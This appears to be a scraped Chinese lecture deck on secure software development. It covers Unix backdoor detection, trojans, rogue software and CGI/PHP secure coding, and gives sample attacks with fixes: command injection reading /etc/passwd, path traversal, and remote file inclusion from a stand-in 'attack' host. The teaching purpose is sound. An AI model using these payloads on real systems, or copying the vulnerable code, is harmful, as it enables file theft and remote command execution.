软件开发安全之道(全)课件_第1页
软件开发安全之道(全)课件_第2页
软件开发安全之道(全)课件_第3页
软件开发安全之道(全)课件_第4页
软件开发安全之道(全)课件_第5页
已阅读5页,还剩230页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

软件开发安全性设计王宝会wangbh@引言硬件是躯体,软件是灵魂!软件是信息化的灵魂!软件是各国、尤其是发达国家争夺科技主导权的制高点。软件是一种产品,软件是一种武器!软件产业是知识经济的核心。软件既可以用来攻击别人,也可以用来保护自己。软件主要指计算机系统中的程序(源程序和执行程序)以及程序运行所必须的数据和文档。第一部曲现实中的一些软件安全问题现实中的一些安全问题我的口令就是我的用户名后加上123我的口令是Q47pY!3,每隔90天就更换一次

黑客攻击清华网站捏造校长批评教育制度新闻被入侵站点的截图首页被篡改的网站部分国外网站被黑截图网站“挂马式”攻击中国招商引资网/

站点最下方被填加恶意连接,是一次典型的挂马式攻击。/about_us/image/icyfox.htm“当当网”也没有幸免跨站点脚本攻击在浏览器框中输入:javascript:aviod(document.cookie="uc1=12345zzlsecuritytest")

Cookie捕获攻击Web欺诈的实施过程非法网站Skulls.D

手机病毒来源:TUOMASTONTERI程序师的软件后门著名的郑金龙利用职务之便,盗取金融卡的资料,并自己制作金融卡偷取客户的存款。这个问题的根本不单是个人遵守的问题,而在于并未确实执行文件存取的规范,让程序设计师有权限阅读到他不该看的资料

另类的一些事件…2006年南航登记牌系统出现问题,导致2000多架飞机延误2007年奥运门票购买系统出现崩溃2008年伦敦证券系统出现崩溃……软件@信息安全体系ProfessionalService/ConsultingTechnicalSupportEducationOS:Windows,Linux,UNIX,EmbedOS,Palm…App

adminSystem

adminNetwork

adminApp

SecuritySystem

SecurityNetwork

SecuritySysMiddleware

SSL,IPtable(Firewall),

TAR,Squid(Proxy)...Providers’sSysMiddleware

Tivoli,Backup,GuardAppMiddlewareApache,Sendmail,MySQL…..Providers’sAppMiddleware

DB2,SBS,Domino,WebSphere

Oracle,MQ,Weblogic,Horizontal&VerticalApps.ERP,CRM,OA,Webmail.E-Gov…UserInterface(B/S,C/S…)Hardware(Server,Route,Switch,Mobile)程序里面的安全漏洞漏洞是指硬件、软件或策略上的缺陷,从而可使攻击者能够在未经授权的情况下访问系统。软件漏洞是指在计算机程序、系统或协议中存在的安全漏洞,它已成为被攻击者用来非法侵入他人系统的主要渠道。程序中存在的危害本地安全策略的问题或弱点大多数是指那些会导致程序强制执行一些不同于作者本来意图的行为通常情况下99.99%无错的程序很少会出问题,利用那0.01%的错误导致100%的失败基于软件的漏洞包括故意错误、意外包含和拙劣设计,从黑客攻击的角度:利用软件漏洞的攻击软件,如隐藏代码、逻辑炸弹、检查时间(TimeofCheck)到使用时间(TimeofUse)(TOC/TOU)木马、病毒、逻辑炸弹、后门程序、NAK攻击或中断、伪出错等。程序里面的安全漏洞常见安全漏洞类型缓冲区溢出竞争条件输入检查错误访问控制错误设计错误Windows的输入法漏洞攻击性软件DDoS软件病毒木马后门暴力破解软件流氓软件TCPSYNAttackPingofDeath消耗系统资源(带宽、内存、队列、CPU…)当机……阻止授权用户正常访问服务(慢、不能连接、没有响应……)CPU拒绝服务DOS分布式拒绝服务DDOS攻击者攻击者主控端主控端主控端代理端代理端代理端代理端代理端代理端攻击目标常见的分布式拒绝服务DDOSTrinoo

TFN2KTFNstacheldraht

客户端、主控端和代理端主机相互间通讯时使用如下端口:

1524

tcp

27665tcp

27444udp

31335udp

客户端、主控端和代理端主机相互间通讯时使用ICMPECHO和ICMPECHOREPLY数据包。

客户端、主控端和代理端主机相互间通讯时并没有使用任何指定端口(在运行时指定或由

程序随机选择),但结合了UDP、ICMP和TCP数据包进行通讯。

16660tcp

65000tcp

ICMPECHO

ICMPECHOREPLY

探测漏洞、入侵系统、安装后门和rootkit

大量的常规拒绝服务工具的混合执行病毒泄露信息Slammer软件在全球的11分钟268110Infectionsdoubledevery8.5secondsInfected75,000hostsinfirst11minutesCausednetworkoutages,cancelledairline

flightsandATMfailuresCiscoRespondedin10AtPeak,

Scanned55MillionHostsperSecondMinutesafterReleaseCodeRedv1扩展速度(7.19-7.20)计算机病毒编制技术的新迹象操作系统:单一平台->跨平台(Winux)人员:单兵作战->团队协作(Matrix、29a)区域:地区化->国际化、全球化(Email)技术:单一->全面(Magistr)危害:恶作剧->危及国家、信息安全(BO、冰河)速度:24小时内感染全球Unix/Linux后门常用帐号后门检查/etc/passwd查看UID=0查看shell字段rhosts++后门检查/etc/hosts.equiv查看每个用户的$HOME/.rhosts查看是否增加了“信任”主机Unix/Linux后门二进制木马后门将可执行文件替换检查时间戳检查校验和strings输出可打印字符串如果“strings/bin/login|grepcrypt”有输出,一定是trojan了的login如果stringsls|grep“/dev/pty”有输出,或者直接stringsls发现可疑路径和文件名,说明已经trojan了。对dir、vdir也一样如果stringsdu|grep“/dev/pty”有输出,或者直接stringsdu发现可疑路径和文件名,说明已经中了trojanUnix/Linux后门二进制木马后门(续)ifconfig后门就是把下面一行代码注释掉

if(ptr->flags&IFF_PROMISC)printf("PROMISC");

以去掉网卡混杂模式显示。如果“strings/sbin/ifconfig|grepPROMISC”没有输出,肯定ifconfig已被中了trojanUnix/Linux后门二进制木马后门(续)netstat木马程序的不支持“-p”选项,而系统自身的netstat支持“-p”选项。因此如果发现netstat不支持“-p”选项,肯定netstat被换成木马程序Linux系统的“-p”选项表示打印出进程号(pid)和程序名(programname)信息,而Solaris系统上“-p”表示打印出网络接口的协议信息。如果发现与这一点不符,netstat就被换成木马程序Unix/Linux后门二进制木马后门(续)tcpd中有一段代码,这段代码对远程主机名进行查询和双重检查,拒绝可疑连接。trojan的目的是使这段代码失效sshd后门把ssh发行包里的login.c作了修改,加入了内置的用户名和口令。执行“stringssshd”,发现诸如“hax0r3d”串,说明sshd已被trojanUnix/Linux后门daemon服务后门UDP后门。启动一个daemon进程,侦听某个UDP端口,收到UDP包后启动一个shell。例如udp-backdoor-v2.0.tgz就是这类后门的安装包。可用“netstat-l-p-na|grepudp”查看这类后门是否在活动TCP后门。诸如bdoor.c之类的小程序。执行“netstat-l-p-na|greptcp”查看这类后门是否在活动Rawsocket后门。这类后门打开一个rawsocket,通过发ICMP包来进行网络通讯通过RC检测后门Solaris。在/etc目录下,有这样一些rc脚本:rcS、rc0、rc1、rc2、rc3、rc5、rc6Linux。rc脚本在/etc/rc.d目录下,它们是:rc、rc.local、rc.sysinit对Solaris系统,rc[S-6]脚本名最后一个数字或字母表示运行级别/etc目录下另有rc0.d、rc1.d、rc2.d、rc3.d、rcS.d五个目录,目录名中‘.’前面的数字或字母同样是表示运行级别rc[S-6]脚本的作用是:按运行级别,对相应的rc[S-6]目录下文件名以‘S’打头的脚本文件,赋给参数start,启动相应的服务守护进程;以‘K’打头的脚本文件,赋给参数stop,关闭相应的服务守护进程其中的例外是,rc5和rc6脚本启动或关闭的是rc0.d中的服务守护进程rcS、rc0、rc1、rc5、rc6脚本还进行文件系统安装或拆卸工作。特别是rcS,它是系统启动时必须执行的,它对文件系统进行检查和安装,进行各项系统配置通过RC检测后门对Linux系统,/etc/rc.d目录下有rc0、rc1、rc2、rc3、rc4、rc5、rc6这七个目录/etc/rc.d/rc脚本依据运行级别象Solaris上一样按rc[0-6]目录中的脚本启动或关闭服务守护进程同时,对每个运行级别,rc.local脚本都将执行。rc.sysinit脚本系统启动时必须执行,它检查和安装文件系统,进行各项系统配置通过RC检测后门仔细检查这些rc[?].d目录,如果发现某个脚本文件不是到/etc/rc.d/init.d或/etc/init.d目录中某个脚本文件的符号连接,或者出现与上面文件名规则不相符的脚本文件,或者增加了某个脚本文件,它很可能是用来启动后门进程的,必须仔细检查这些脚本启动的程序确信rc[?].d目录中脚本文件都是到/etc/rc.d/init.d或/etc/init.d目录中某个脚本文件的符号连接后,再cd到/etc/rc.d/init.d或/etc/init.d目录下。检查init.d目录下的脚本文件,如果某个脚本启动的服务进程与名称不符,或者脚本文件的内容被修改,加有别的什么东西启动了别的进程,必须仔细检查,极可能是被用来启动后门进程了除此之外,与二进制木马后门相交叉,对init.d目录下脚本文件启动的每一个程序本身,都要仔细检查,运行起来看看有没有什么不正常的现象,防止它有可能被换成trojan木马了。对于init.d目录中的脚本文件启动的程序,它们的二进制文件大都在/usr/bin、/usr/local/bin、/sbin、/usr/sbin目录下通过/etc/inetd.conf检测后门注意/etc/inetd.conf中如下的语法:

#<service_name><socket_type><proto><flags><user><server_pathname><args>telnetstreamtcpnowaitroot/usr/sbin/tcpdin.telnetd

特别是最后两个字段,<server_pathname>和<args>检查/etc/inetd.conf,特别是最后两个字段,查看是否除通常的服务外新加有一行启动了别的服务。如果有的话,仔细检查这项服务,很可能是在启动后门程序同样,与二进制木马后门相交叉,对inetd.conf所列的每项服务,都要对程序的二进制文件进行检查,很有可能它们被换成木马程序作为后门使用netstat和lsof命令检测后门如果后门程序作为守护进程启动,通常它侦听某个端口,通过该端口与外部网连接。攻击者借此获取对系统的访问对Linux系统,用netstat-pna列出网络状态信息,特别注意<LocalAddress>和<PID/Programname>这两栏Cronjob后门除了“daemon服务后门”一节中所述的启动后门的方法外,还可以在系统中置入后门程序,通过系统的cron守护进程启动它检测后门时,相应地就是检查/var/spool/cron/crontabs或/var/spool/cron目录中的crontab文件。查看是否有可疑程序被作为任务执行了,如果有,仔细检查它是否是后门程序。与“二进制木马后门”相交叉,还要仔细检查原有的任务,防止有可能它们被换成木马程序作为后门了如果cronjob后门有网络通讯,与守护进程后门一样,可以结合netstat和lsof命令来检测LKM后门修改系统调用chkrootkitkstat基于内核的rootkitAdore核心部分就是做adore.o的LKM,还有一个用于隐藏

adore.o的模块cleaner.o,一个控制工具ava,以及一个启动脚本startadoreava是adorerootkit的控制程序Usage:./ava{h,u,r,R,i,v,U}[file,PIDordummy(forU)]h隐藏文件(hidefile)u重现文件(hidefile)r以root的权限运行一个程序(executeasroot)R永远删除一个进程(removePIDforever)U卸载adore模块(uninstalladore)i隐藏一个进程(makePIDinvisible)v让一个进程重现(makePIDvisible)利用kstat检测LKM使用/dev/kmem文件获得信息安装与使用tar;makekstat;makeinstallUsage:kstat[-iiff][-P][-ppid][-M][-maddr][-s]-iiffmaybespecifiedas'all'orasname(e.g.eth0)displaysinfoaboutthequeriedinterface-Pdisplaysallprocesses-ppidistheprocessidofthequeriedtask-Mdisplaysthekernel'sLKMs'linkedlist-maddristhehexaddressofthequeriedmoduledisplaysinfoaboutthemoduletobefoundataddr-sdisplaysinfoaboutthesystemcalls'tableKstat–s的正常输出SysCallAddress sys_exit0xc0117ce4sys_fork0xc0108ebc sys_read0xc012604csys_write0xc0126110 sys_open0xc0125c10sys_close0xc0125d60 sys_waitpid0xc0117ff8sys_creat0xc0125ca4 sys_link0xc012de60sys_unlink0xc012dc90 sys_execve0xc0108f18sys_chdir0xc01254a0 sys_time0xc01184b4sys_mknod0xc012d77c sys_chmod0xc01256e4运行过adore之后的kstat–s输出sys_fork0xc4051428 WARNING!Shouldbeat0xc0108c88sys_write0xc4051590 WARNING!Shouldbeat0xc01269b8sys_close0xc405163c WARNING!Shouldbeat0xc01264a4sys_kill0xc40514d0 WARNING!Shouldbeat0xc011060csys_mkdir0xc405172c WARNING!Shouldbeat0xc012e540sys_clone0xc405147c WARNING!Shouldbeat0xc0108ca4sys_getdents0xc40512a4 WARNING!Shouldbeat0xc013022cSniffer后门Sniffer后门用来监听主机或网络,以获取敏感数据,比如说用户名和口令。对于网络监听,可以通过查看网络接口是否处于混杂(promisc)模式来查看是否有Sniffer后门存在对Linux系统,在命令行执行ifconfig命令,如果发现PROMISC这个字符串标志,说明网络接口处于混杂(promisc)模式,排除合法用户运行Sniffer程序后,意味着有Sniffer后门程序在运行。如果是这样,立即执行命令lsof|grepsock,对第五列TYPE字段为sock那些输出行仔细检查,定出哪一个程序在Sniffer。删除该程序消除后门常见的Trojans软件木马一种未经授权的程序,或在合法程序中有一段未经授权的程序代码,或在合法程序中包含有一段用户不了解的程序功能。Trojan对用户来说具有恶意的行为。Client/Server程序控制系统Server端一般安装在被控主机上,字节较小,常使用较让人迷惑的名字,如patch.exeClient端一般是图形化界面;常存在配置程序,可以按需要生成server程序。常见的木马程序BackOrifice(2K)平台:9x最新版本:BO2k名称:.exe;boserver.exe;bo2k.exe;UMGR32.exe缺省端口31337(UDP)54320、54321(BO2K)常见的木马程序Netbus常见版本:1.7;2.01pro名称:Path.exeNBSvr.exe缺省端口12345(TCP)20034(TCP)常见的木马程序冰河名称:G_clindG_server缺省端口7626(TCP)阻击一个木马的全过程第一步:发现可疑现象RUNDLL32不会连接网络分析网络地址

注册信息表明这是一个非法网站!网络访问验证

网站没有公开的网页,更加可疑

根据进程利用冰剑来看分析RUNDLL32.EXE分析可疑线程分析启动服务注册表验证存在系统调用,还有编码数据,解码后,为加密数据,说明病毒保护措施分析病毒体IRJIT.dll拒绝服务软件数据库发布系统财务系统定制开发的代码应用层应用层攻击软件直接跨越跨越防火墙攻击者防火墙、入侵检测、主机安全加固可以有效防御针对主机和网络的攻击,但是对应用层却几乎束手无策应用层直接暴露在威胁之下防火墙加固过的操作系统Web服务器应用服务器防火墙网络层主机层流氓软件“流氓软件”是介于病毒和正规软件之间的软件。计算机病毒指的是:自身具有、或使其它程序具有破坏系统功能、危害用户数据或其它恶意行为的一类程序。这类程序往往影响计算机使用,并能够自我复制。正规软件指的是:为方便用户使用计算机工作、娱乐而开发,面向社会公开发布的软件。“流氓软件”介于两者之间,同时具备正常功能(下载、媒体播放等)和恶意行为(弹广告、开后门),给用户带来实质危害。流氓软件--1、广告软件(Adware)定义:广告软件是指未经用户允许,下载并安装在用户电脑上;或与其他软件捆绑,通过弹出式广告等形式牟取商业利益的程序。危害:此类软件往往会强制安装并无法卸载;在后台收集用户信息牟利,危及用户隐私;频繁弹出广告,消耗系统资源,使其运行变慢等。例如:用户安装了某下载软件后,会一直弹出带有广告内容的窗口,干扰正常使用。还有一些软件安装后,会在IE浏览器的工具栏位置添加与其功能不相干的广告图标,普通用户很难清除。流氓软件--2、间谍软件(Spyware)定义:间谍软件是一种能够在用户不知情的情况下,在其电脑上安装后门、收集用户信息的软件。危害:用户的隐私数据和重要信息会被“后门程序”捕获,并被发送给黑客、商业公司等。这些“后门程序”甚至能使用户的电脑被远程操纵,组成庞大的“僵尸网络”,这是目前网络安全的重要隐患之一。例如:某些软件会获取用户的软硬件配置,并发送出去用于商业目的。流氓软件--3、浏览器劫持定义:浏览器劫持是一种恶意程序,通过浏览器插件、BHO(浏览器辅助对象)、WinsockLSP等形式对用户的浏览器进行篡改,使用户的浏览器配置不正常,被强行引导到商业网站。危害:用户在浏览网站时会被强行安装此类插件,普通用户根本无法将其卸载,被劫持后,用户只要上网就会被强行引导到其指定的网站,严重影响正常上网浏览。例如:一些不良站点会频繁弹出安装窗口,迫使用户安装某浏览器插件,甚至根本不征求用户意见,利用系统漏洞在后台强制安装到用户电脑中。这种插件还采用了不规范的软件编写技术(此技术通常被病毒使用)来逃避用户卸载,往往会造成浏览器错误、系统异常重启等。流氓软件--4、行为记录软件(TrackWare)定义:行为记录软件是指未经用户许可,窃取并分析用户隐私数据,记录用户电脑使用习惯、网络浏览习惯等个人行为的软件。危害:危及用户隐私,可能被黑客利用来进行网络诈骗。例如:一些软件会在后台记录用户访问过的网站并加以分析,有的甚至会发送给专门的商业公司或机构,此类机构会据此窥测用户的爱好,并进行相应的广告推广或商业活动。流氓软件--5、恶意共享软件(maliciousshareware)定义:恶意共享软件是指某些共享软件为了获取利益,采用诱骗手段、试用陷阱等方式强迫用户注册,或在软件体内捆绑各类恶意插件,未经允许即将其安装到用户机器里。危害:使用“试用陷阱”强迫用户进行注册,否则可能会丢失个人资料等数据。软件集成的插件可能会造成用户浏览器被劫持、隐私被窃取等。例如:用户安装某款媒体播放软件后,会被强迫安装与播放功能毫不相干的软件(搜索插件、下载软件)而不给出明确提示;并且用户卸载播放器软件时不会自动卸载这些附加安装的软件。又比如某加密软件,试用期过后所有被加密的资料都会丢失,只有交费购买该软件才能找回丢失的数据。反流氓软件联盟在一个经核准的软件程序中插入代码。代码管理如果不完善,代码复查就不严格,开发组的成员就很容易实施这种手段。此外,还可以使用某些特别技术。一种是NT文件系统(NTFS)或其它使用文件流的文件系统。这是一种众所周知的技术,它可以很容易地被用来隐藏代码。尽管很容易被发现,只要你知道它在哪里,但要找到哪个文件使用了文件流的却不是很容易的事情。另一种技术是病毒的开发和使用,它可以在现有代码中隐藏代码。典型的病毒可以将自己附着在现有代码中以便隐藏。为此,应该诊断核查可信性、应用程序开发组并审计他们的工作,扫描那些使用了文件流的代码、病毒等。软件中隐藏代码这是一种处于休眠状态的程序,它可以被某种事件激活,例如时间或者一个特殊程序的使用,通常都是被病毒植入到计算机中的。当然,更常见的情况是某些心怀不满的职员在经核准的程序中隐藏代码,该炸带被设置成一旦职员(或前职员)离开就“爆炸”或让软件失效。代码维护、生产和服务器访问要有审计活动的参与,为了发现逻辑炸弹,可以使用病毒检查程序。(此类程序对已知病毒代码有效,可以延迟“逻辑炸弹”的行动。病毒检查程序并不能防止职员编写自己代码的活动)软件中的逻辑炸弹在程序开发期间,程序员经常要通过编程来访问操作系统的调试设施(程序的断点调试)。当程序转入生产使用时或商业销售时,这些“trapdoor”或入口会规避系统的保护机制,应该被去除。某些陷门可以通过敲击键盘而激活。这种概念很像后门(backdoor)或者取得系统未授权入口的方式。如果编程调试工具不被去除,就可能被利用来危害系统。在生产性代码中仍然存在突破点,这或者是有意为之,或者是不谨慎的开发惯例造成的结果。为了防止由于陷门可能引起的危害,一定要进行插入代码复查,力求去除突破点和其他编程调试技术,也包括那些异常的代码。函数组装之前也应该进行测试。软件陷门如果指令执行需要多步,在执行步之间实施攻击就可能危害到系统安全。TOC/TOU是一种特殊的条件竞争(racecondition)的名字,它的脆弱性可被某种攻击利用。IBM的OS360(一种老式的主机系统)对文件施行访问控制,它首先读取并检查许可权限,如果许可权限正确,再去读取文件。如果许可权限不正确,用户的访问请求会被拒绝。不过,如果再返回拒绝之前能够中断系统,文件就有可能被读取甚至被修改。最近的条件竞争(因为软件时钟问题而存在)包括Linux中rm命令的漏洞。因为该命令编写方式的问题,它可能会在完成之前被再次发出,对非特权用户来说,这会引起DoS,如果是root用户,就可能移动整个文件系统。这种错误在最新版的操作系统中已经没有了。检查时间(TimeofCheck)到使用时间(TimeofUse)(TOC/TOU)中断是设备用来提醒操作系统注意其需求的方式。例如按下键盘上的一个键,或者modem端口有数据到达。软件中断也经常被使用。当请求某服务时,典型的响应是带一个确认应答(acknowledgement,ACK)或者一个否定应答(negativeacknowledgement,NAK)。如果系统没有很好地编程处理这些中断,系统就可能处于曝光的状态,NAK攻击利用的就是这一点。软件中NAK攻击或中断你曾经努力在Internet上做些什么但失败了吗?你被告知再试一次。如果你这样做了,你成功了吗?你可能会成为伪出错的牺牲者。这种攻击可能在真实代码之前或周围插入自己的代码。在一次登陆伪出错(logonpseudoflaw)中,受害者输入自己的ID和口令,但得到的提示是输入错误,如果再输入一次,他成功了,他可能认为这只是简单的拼写错误,但事实上伪出错记录了他的用户ID和口令,然后向他返回了合法的登陆屏幕。软件伪出错为什么存在诸多软件安全问题?现代软件开发周期短,工作量大,无暇顾及安全从认识论的高度看,人们往往首先关注对系统的需要、功能,然后才被动地从现象注意系统应用的安全问题。操作人员、编程人员和系统分析人员的失误或缺乏经验都会造成系统的安全功能不足。强而有效的不可破解的加密技术随处均可得

到(尽管有各种各样的进出口限制)不攻击加密技术,攻击其应用的底层基础设施不攻击加密技术,攻击其实现不攻击加密技术,而从用户方面入手一些经典的结论所有软件都是有错的通常情况下99.99%无错的程序很少会出问题同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误0.01%安全问题等于100%的失败一些经典的结论公理1摩菲定理所有的程序都有缺陷。定理1大程序定律大程序的缺陷甚至比它包含的内容还多。证明:通过调查统计。推理1-1一个安全相关程序有安全性缺陷。定理2只要不运行这个程序,那么这个程序是否有缺陷,也无关紧要。证明:在所有逻辑系统中,均有(假→真)=真。推理2-1只要不运行这个程序,即使这个程序有安全性漏洞,也无关紧要。定理3对外暴露的计算机,应尽可能少地运行程序,且运行的程序也应尽可能小。证明:直接从推理1-1和推理2-1导出。

操作系统软件SegmentationFault(coredumped)传统操作系统的问题传统的网络设备所用的操作系统中各进程相互关联共用资源,任何一个进程的故障必然导致整体失效操作系统脆弱性操作系统结构体制本身的缺陷。如输入/输出(I/O)非法访问和操作系统陷门在网络上传输文件,加载与安装程序,包括可执行的文件。在于创建进程,甚至可以在网络的节点上进行远程的创建和激活。操作系统中有一些守护进程,实际上是一些系统进程,它们总是在等待一些条件的出现。操作系统脆弱性操作系统都提供远程过程调用(RPC)服务,而提供的安全验证功能却很有限。操作系统提供网络文件系统(NFS)服务,NFS系统是一个基于RPC的网络文件系统。操作系统的debug和wizard功能。操作系统安排的无口令入口,是为系统开发人员提供的边界入口,但这些入口也可能被黑客利用。操作系统还有隐蔽的信道,存在着潜在的危险。尽管操作系统的缺陷可以通过版本的不断升级来克服,但系统的某一个安全漏洞就会使系统的所有安全控制毫无价值。应用软件安全性应用软件的安全漏洞在软件程序员开发应用软件时,常插入一些小段程序,其目的是测试某个模块,或为了连接将来的更改和升级程序,或是在维护维修时为程序员提供方便。这些小程序也叫陷门(陷阱或后门)。虽然它们一般不为人们所知,但一旦这些“后门”洞开,黑客们就会长驱直入,造成不可避免的损失。这些陷门程序就是应用软件漏洞。应用软件的安全对策加强程序开发阶段和使用过程中的安全控制,制定规范的软件开发标准,加强管理,对相关人员的职责进行有效监督等措施对付这些漏洞。Web程序安全性1.DoS攻击(拒绝服务攻击)2.SQL注入3.Cookie欺骗4.木马程序5.CGI程序的安全性6.Web欺骗7.Java与JavaScript攻击8.ActiveX的安全性Web安全编程WebCGI编程的常见问题信息泄漏泄漏web路径信息泄漏系统文件内容泄漏数据库内容覆盖、重写系统或者数据库数据执行系统命令拒绝服务攻击如何写一个安全的CGI程序防止缓冲区溢出小心调用外部命令特殊字符的过滤正确使用隐藏变量使用cookie应注意的问题提防拒绝服务攻击使用正确的错误处理机制CGI–缓冲区溢出什么是缓冲区溢出?当向一个固定大小的缓冲区(buffer)中储存超量数据时,就会发生缓冲区溢出(BufferOverflow)缓冲区溢出的后果如果使用随机数据,可能导致程序崩溃如果精心构造溢出数据,可能改变程序执行流程,允许攻击者执行任意指令影响语言:C/C++典型案例:count.cgi缓冲区溢出漏洞CGI–外部命令原则尽可能不调用外部命令如果不得不调用,必须检查传递给外部命令的参数是否合法。只允许那些完全符合要求的参数通过。下表列出了一些常见调用外部命令的函数表1.C和Perl中可以调用shell的函数.Perl函数C函数

system('...')system()open('|...')popen()exec('...')eval('...')CGI–特殊字符原则只让我们需要的字符通过检测不是剔除非法字符而是检查是否在合法字符集内不止是在调用外部命令时,在任何时候你都应该检查你页面的输入是否合法,当然这种检测没有一定的规律,要视你的CGI功能而定。要特别注意以下这些字符:;<>*|`&$!#()[]:{}'“../..\NULLCGI–特殊字符一个非常著名的例子:phf这个CGI程序在以前NCSA和APACHEWEB服务器中是默认安装的。phf程序通过popen()函数来传递数据到程序中剔除了一些已知的不良的字符,但是,它遗漏了其中一个字符:换行符(\n),当在远程主机使用SHELL解释程序解析的时候,换行符扮演了命令分隔符,把分行符前字符串作为一个命令,而把换行符后面的字符串作为一个新命令,通过请求下面的ULR,就可能在主机上执行"cat/etc/passwd"的命令:/cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0aCGI-隐藏变量原则尽量不要使用隐藏变量传递数据如果必须使用,应当在每个CGI中对所有的隐藏变量都进行检查。在很多CGI程序中,人们喜欢用隐藏变量来传递信息,这容易给一些不怀好意的人以可乘之机,因为隐藏变量可以通过查看html源码看到。因此,在用隐藏变量来传递信息时,一定要小心,审核你的程序流程,看看是否会带来问题。

CGI-隐藏变量隐藏变量<HIDDEN>隐藏变量的值是用户可修改的程序员可能忽视对隐藏变量的检查在多个连续页面中传递隐藏变量时,中间页面可能忽略了对隐藏变量的检查一个隐藏变量Ba1.asp->a2.asp->a3.aspa2.asp可能会忘记对其进行检查CGI–Cookie的使用很多人喜欢使用Cookie在客户端存储信息。Cookie的特点明文保存用户可控制原则尽量不要使用Cookie保存敏感信息设置Cookie的有效时间CGI–拒绝服务攻击拒绝服务攻击是使应用程序或操作系统停止为合法访问提供服务的一种攻击。对于CGI程序的拒绝服务来说,通常是指利用CGI程序实现上的弱点来大量占用系统资源(CPU或内存)例如,在数据库搜索时,使用简单的select语句对整个数据库进行搜索。当数据库比较庞大时,会占用较多的系统资源。攻击者如果发送大量搜索查询请求,系统可能瘫痪原则:处理请求时,使响应时间和占用资源尽可能少。CGI–错误处理机制如果没有好的错误处理机制,你的CGI程序会在出错时泄露一些有用的信息。泄漏CGI程序所在物理路径泄漏数据库结构信息泄漏一些其他的有用信息,例如用户有效性当输入错误用户名时,返回”该用户不存在”信息原则:尽量不要泄漏任何不必要的信息只要用户名和口令有一样不正确,都显示同样的错误信息。攻击者无法识别有效用户名。PHP安全编程PHP是一种非常容易上手的脚本语言,在web上应用十分广泛。PHP的开发者已经考虑到了很多安全问题,但是在默认安装下,由于程序员的不小心,还是会给服务器造成很大的危险。我们将以攻击者、脚本程序员、网站管理员三种角度讨论PHP的安全。一、PHP变量滥用一、变量滥用

PHP默认register_globals=On,对于GET,POST,Cookie,Environment,Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order=“EGPCS”,同名变量右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:<?//test_1.php

if($pass=="hello")

$auth=1;

...

if($auth==1)

echo"someimportantinformation";

?>攻击者只需用如下的请求就能绕过检查:http://victim/test_1.php?auth=1一、变量滥用这虽然是一个很低级的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:/bid/3361PHP-4.1.0发布的时候建议关闭register_globals

,并提供了7个特殊的数组变量来使用各种变量。对于从GET,POST,COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。解决方法程序员:

对作为判断的变量在程序最开始初始化一个值。永远不要相信客户提交的数据。管理员:

在配置文件设置register_globals=Off。二、文件打开极易受攻击的代码片断:

<?//test_2.php

if(!($str=readfile("/data/$filename"))){

echo("Couldnotopenfile:$filename<BR>\n");

exit;

}

else{

echo$str;

}

?>由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:http://victim/test_2.php?filename=../etc/passwd如下请求可以读php文件本身:http://victim/test_2.php?filename=../正确目录/test_2.phpPHP中文件打开函数还有fopen(),file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。二、文件打开解决方法程序员:

文件打开函数比较危险,慎用。如果一定要使用就必需严格检查要打开的文件名,绝对不能由用户任意指定。管理员:

如非特殊需要,把php的文件操作限制在web目录里面。修改apache配置文件httpd.conf:

<Directory/usr/local/apache/htdocs>

php_admin_valueopen_basedir/usr/local/apache/htdocs

</Directory>三、包含文件PHP的包含函数有include(),include_once(),require(),require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。极易受攻击的代码片断:

<?//test_3.php

if(file_exist($filename))

include("$filename");

?>三、包含文件这种代码会造成系统文件泄漏,攻击者用如下请求可以得到/etc/passwd文件:http://victim/test_3.php?filename=/etc/passwd远程包含文件问题如果对于Unix版的PHP,攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt,其内容是<?passthru(“ls/etc”)?>,那么如下的请求就可以在目标主机执行命令ls/etc:http://victim/test_3.php?filename=http://attack/attack.txt三、包含文件另外一种形式的易受攻击的代码片断:

<?//test_4.php

include("$lib/config.php");

?>攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:http://victim/test_4.php?lib=http://attack解决方法程序员:

包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。管理员:

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,关闭Unix版PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen=Off

重启apache。四、命令执行下面的代码片断是从PHPNetToolpack摘出,详细的描述见:/bid/4303

<?//test_5.php

exec("traceroute$a_query",$ret_strs);

?>由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。攻击者输入如下请求可以执行cat/etc/passwd命令:http://victim/test_5.php?a_query=;cat/etc/passwdPHP的命令执行函数还有system(),passthru(),popen()和``等。命令执行函数非常危险,应当慎用。如果要使用一定要严格检查用户输入。四、命令执行解决方法程序员:

使用escapeshellcmd()函数过滤用户输入的shell命令。管理员:

尽量建议程序员不要使用命令执行函数。如果确实有应用,修改php.ini设置safe_mode=On

,只允许执行safe_mode_exec_dir指定目录下的命令。五、文件上传(1)

这是一个最简单的文件上传代码:

<?//test_6.php

if(isset($upload)&&$file!="none"){

copy($file,"/usr/local/apache/htdocs/test/".$file_name);

echo"文件".$file_name."上传成功!";

exit;

}

?>

五、文件上传(2)<html>

<head>

<title>文件上传</title>

<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">

</head>

<bodybgcolor="#FFFFFF">

<formenctype="multipart/form-data"method="post">

上传文件:

<inputtype="file"name="file"size="30">

<inputtype="submit"name="upload"value="上传">

</form>

</body>

